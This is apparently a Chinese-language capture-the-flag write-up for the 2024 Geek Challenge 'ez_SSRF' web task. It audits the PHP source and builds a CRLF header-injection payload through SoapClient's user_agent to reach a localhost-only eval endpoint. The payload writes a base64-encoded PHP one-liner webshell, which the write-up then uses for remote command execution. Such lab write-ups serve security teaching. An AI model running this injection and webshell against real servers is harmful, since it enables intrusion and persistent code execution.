2024第十五届极客大挑战--Web-ez_SSRF

题目来源:2024第十五届极客大挑战–ez_SSRF

image-20250330220602797

源码中得不到什么信息,用dirsearch扫描目录

image-20250330220645437

可以扫出/www.zip文件,访问下载到源码,有如下三个文件

image-20250330220805852

先看看index.php文件,不过没啥用

1
2
3
<?php
echo "Maybe you should check check some place in my website";
?>

再看看h4d333333.php文件,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
// 关闭所有错误报告,这样在代码运行时出现的错误不会显示给用户
error_reporting(0);
// 检查是否通过 POST 方法提交了 'user' 参数
if(!isset($_POST['user'])){
// 如果没有提交,将用户名设为 'stranger'
$user="stranger";
}else{
// 如果提交了,将提交的用户名赋值给 $user 变量
$user=$_POST['user'];
}
// 检查是否通过 GET 方法提交了 'location' 参数
if (isset($_GET['location'])) {
// 如果提交了,将提交的服务地址赋值给 $location 变量
$location=$_GET['location'];
// 创建一个新的 SOAP 客户端实例
$client=new SoapClient(null,array(
// 设置 SOAP 服务的地址
"location"=>$location,
// 设置 SOAP 服务的命名空间,这里为 'hahaha'
"uri"=>"hahaha",
// 设置连接 SOAP 服务的用户名
"login"=>"guest",
// 设置连接 SOAP 服务的密码
"password"=>"gueeeeest!!!!",
// 设置 HTTP 请求头中的 User-Agent,包含用户名
"user_agent"=>$user."'s Chrome"
));
// 调用 SOAP 服务端的 calculator 方法
$client->calculator();
// 读取 'result' 文件的内容并输出
echo file_get_contents("result");
}else{
// 如果没有提交 'location' 参数,提示用户提供
echo "Please give me a location";
}

审计代码

POST传参user,初始会被赋值为stranger,GET传参location,然后创建了一个新的 SOAP 客户端实例,其地址就是 GET 传参location的值,命名空间为hahaha,连接这个服务的用户名是guest,密码是gueeeeest!!!!,设置 HTTP 请求头中的 User-Agent,包含用户名,这里是将POST传参user的内容和's Chrome拼接到一起,然后调用 SOAP 服务端的 calculator 方法,读取result文件的内容并输出

最后就是查看calculator.php文件,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
// 定义管理员用户名
$admin="aaaaaaaaaaaadmin";
// 定义管理员密码
$adminpass="i_want_to_getI00_inMyT3st";
// 定义一个用于检查 HTTP 认证信息的函数
function check($auth) {
// 声明使用全局变量 $admin 和 $adminpass
global $admin,$adminpass;
// 去除认证信息中的 "Basic " 前缀
$auth = str_replace('Basic ', '', $auth);
// 对去除前缀后的认证信息进行 Base64 解码
$auth = base64_decode($auth);
// 使用冒号分割解码后的认证信息,得到用户名和密码
list($username, $password) = explode(':', $auth);
// 输出用户名和密码,方便调试
echo $username."<br>".$password;
// 检查用户名和密码是否与管理员的用户名和密码匹配
if($username===$admin && $password===$adminpass) {
// 如果匹配,返回 1
return 1;
}else{
// 如果不匹配,返回 2
return 2;
}
}
// 检查请求的客户端 IP 地址是否为本地地址 127.0.0.1
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
// 如果不是本地地址,输出 "Hacker" 并终止脚本执行
exit("Hacker");
}
// 获取 POST 请求中名为 "expression" 的参数值,即要计算的数学表达式
$expression = $_POST['expression'];
// 获取 HTTP 请求头中的 "Authorization" 字段的值,即认证信息
$auth=$_SERVER['HTTP_AUTHORIZATION'];
// 检查是否存在认证信息
if(isset($auth)){
// 调用 check 函数检查认证信息
if (check($auth)===2) {
// 如果认证失败(返回值为 2)
// 检查表达式是否只包含数字和四则运算符
if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
// 如果表达式不符合要求,输出 "Invalid expression" 并终止脚本执行
die("Invalid expression");
}else{
// 如果表达式符合要求,使用 eval 函数计算表达式的值
$result=eval("return $expression;");
// 将计算结果写入 "result" 文件
file_put_contents("result",$result);
}
}else{
// 如果认证成功(返回值不为 2)
// 直接使用 eval 函数计算表达式的值
$result=eval("return $expression;");
// 将计算结果写入 "result" 文件
file_put_contents("result",$result);
}
}else{
// 如果不存在认证信息,输出 "Hacker" 并终止脚本执行
exit("Hacker");
}
?>

审计代码(略……在上面源码里注释了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 检查是否通过 GET 方法提交了 'location' 参数
if (isset($_GET['location'])) {
// 如果提交了,将提交的服务地址赋值给 $location 变量
$location=$_GET['location'];
// 创建一个新的 SOAP 客户端实例
$client=new SoapClient(null,array(
// 设置 SOAP 服务的地址
"location"=>$location,
// 设置 SOAP 服务的命名空间,这里为 'hahaha'
"uri"=>"hahaha",
// 设置连接 SOAP 服务的用户名
"login"=>"guest",
// 设置连接 SOAP 服务的密码
"password"=>"gueeeeest!!!!",
// 设置 HTTP 请求头中的 User-Agent,包含用户名
"user_agent"=>$user."'s Chrome"
));

h4d333333.php中的这部分设置了一系列东西,其中有设置 SOAP 服务的地址location,然后我们在calculator.php的源码中可以看到有检查请求客户端的IP代码

1
2
3
4
5
// 检查请求的客户端 IP 地址是否为本地地址 127.0.0.1
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
// 如果不是本地地址,输出 "Hacker" 并终止脚本执行
exit("Hacker");
}

所以就可以想到SSRF,我们可以在h4d333333.php创建的实例 SOAP 打SSRF去访问calculator.php,把location的值设置为127.0.0.1就可以绕过客户端 IP 的检测去访问calculator.php,所以就可以先构造出以下payload,这里要用 GET 请求

1
/h4d333333.php?location=http://127.0.0.1/calculator.php

h4d333333.php中还有一个POST请求的参数user,可以利用SSRF写shell,要POST打SSRF的话,接下来就是找需要提交哪些请求头和值,要注意每个请求头之间要用%0d%0a进行分隔开来,这个是回车符(\r)和换行符(\n)的URL编码形式

首先是要POST传参user的,值的话随便填写,不是什么奇奇怪怪的就行

1
user=abc

然后是正常POST打SSRF需要的请求头Content-Type,之间用bp抓包后复制粘贴过来

1
Content-Type: application/x-www-form-urlencoded

因为上面要检查客户端的请求 IP ,所以这里可以加上X - Forwarded - For: 127.0.0.1来伪造IP

1
X-Forwarded-For: 127.0.0.1

然后去看calculator.php的源码,有一个check函数检查 HTTP 认证信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 定义一个用于检查 HTTP 认证信息的函数
function check($auth) {
// 声明使用全局变量 $admin 和 $adminpass
global $admin,$adminpass;
// 去除认证信息中的 "Basic " 前缀
$auth = str_replace('Basic ', '', $auth);
// 对去除前缀后的认证信息进行 Base64 解码
$auth = base64_decode($auth);
// 使用冒号分割解码后的认证信息,得到用户名和密码
list($username, $password) = explode(':', $auth);
// 输出用户名和密码,方便调试
echo $username."<br>".$password;
// 检查用户名和密码是否与管理员的用户名和密码匹配
if($username===$admin && $password===$adminpass) {
// 如果匹配,返回 1
return 1;
}else{
// 如果不匹配,返回 2
return 2;
}
}
1
2
3
4
// 获取 POST 请求中名为 "expression" 的参数值,即要计算的数学表达式
$expression = $_POST['expression'];
// 获取 HTTP 请求头中的 "Authorization" 字段的值,即认证信息
$auth=$_SERVER['HTTP_AUTHORIZATION'];

这里要验证登录的用户和密码,给的请求头是Authorization,在check函数中会去除

Basic 前缀,还会对其进行 base64 解码,并且使用冒号:来分隔开用户名和密码,对于admin的用户名和密码早在开头就已经定义好了

1
2
3
4
// 定义管理员用户名
$admin="aaaaaaaaaaaadmin";
// 定义管理员密码
$adminpass="i_want_to_getI00_inMyT3st";

所以经过分析后我们就可以开始构造Authorization这个请求头了,首先是正常的使用admin的用户名和密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 检查是否存在认证信息
if(isset($auth)){
// 调用 check 函数检查认证信息
if (check($auth)===2) {
// 如果认证失败(返回值为 2)
// 检查表达式是否只包含数字和四则运算符
if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
// 如果表达式不符合要求,输出 "Invalid expression" 并终止脚本执行
die("Invalid expression");
}else{
// 如果表达式符合要求,使用 eval 函数计算表达式的值
$result=eval("return $expression;");
// 将计算结果写入 "result" 文件
file_put_contents("result",$result);
}
}else{
// 如果认证成功(返回值不为 2)
// 直接使用 eval 函数计算表达式的值
$result=eval("return $expression;");
// 将计算结果写入 "result" 文件
file_put_contents("result",$result);
}
}else{
// 如果不存在认证信息,输出 "Hacker" 并终止脚本执行
exit("Hacker");
}

这里一定要用admin的用户名和密码,因为在后面的检查认证信息中是会检查check($auth)的返回值的,不是admin的会返回2,最终会有检查构造的expression表达式的,只有符合要求才能被eval执行,而如果是admin的会返回1,最终是直接执行构造的expression表达式的,这样我们就可以对这个表达式进行构造恶意的代码从而进行RCE或传shell了

1
Authorization: aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st

然后是要进行 base64 编码

1
Authorization: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0

最后是要加上Basic 前缀,这里要注意在Basic后面跟还有一个空格别忘了

1
Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0

这个就是最终要构造的Authorization这个请求头了

然后是要POST传参的expression,这个是要在后面中的被eval执行的,可以构造一个恶意代码进行传shell,这个恶意代码可以被执行的前提是满足前面的身份认证,这里使用file_put_contents函数,写一个后门文件进去,最好加上base64编码可以绕过些限制,这里就是将一句话木马<?php @eval($_POST['cmd']); ?>写入shell3.php文件中

1
expression=file_put_contents('shell3.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4='))

最后就是正常的POST请求打SSRF需要的请求头Content-Length,即请求的内容长度,是根据上面构造的expression来进行构造的

1
Content-Length: 101

这里有个地方,你会不会疑问为什么这个的长度不包含user呢,它也是POST传参的呀,为什么不加上它的长度

原因就是这里的Content-Length记录的是请求网址的POST要传的参,即calculator.php对要传的参,而userh4d333333.php中的参数,所以不要包含user的内容长度

至此,综合以上构造的所有的POST打SSRF的内容的payload如下,要用%0d%0a分隔开各个请求头

1
user=abc%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aAuthorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Length: 101%0d%0a%0d%0aexpression=file_put_contents('shell3.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4='))

然后在h4d333333.php中发送构造的GET和POST请求,打SSRF

image-20250331000442974

然后访问shell3.php文件,利用POST参数cmd进行RCE

image-20250331000544062

image-20250331000601611

1
SYC{76284c66-4103-4e62-a095-461431bdb852}

2024第十五届极客大挑战--Web-ez_SSRF
https://yschen20.github.io/2025/04/29/2024第十五届极客大挑战-Web-ez-SSRF/
作者
Suzen
发布于
2025年4月29日
更新于
2025年4月29日
许可协议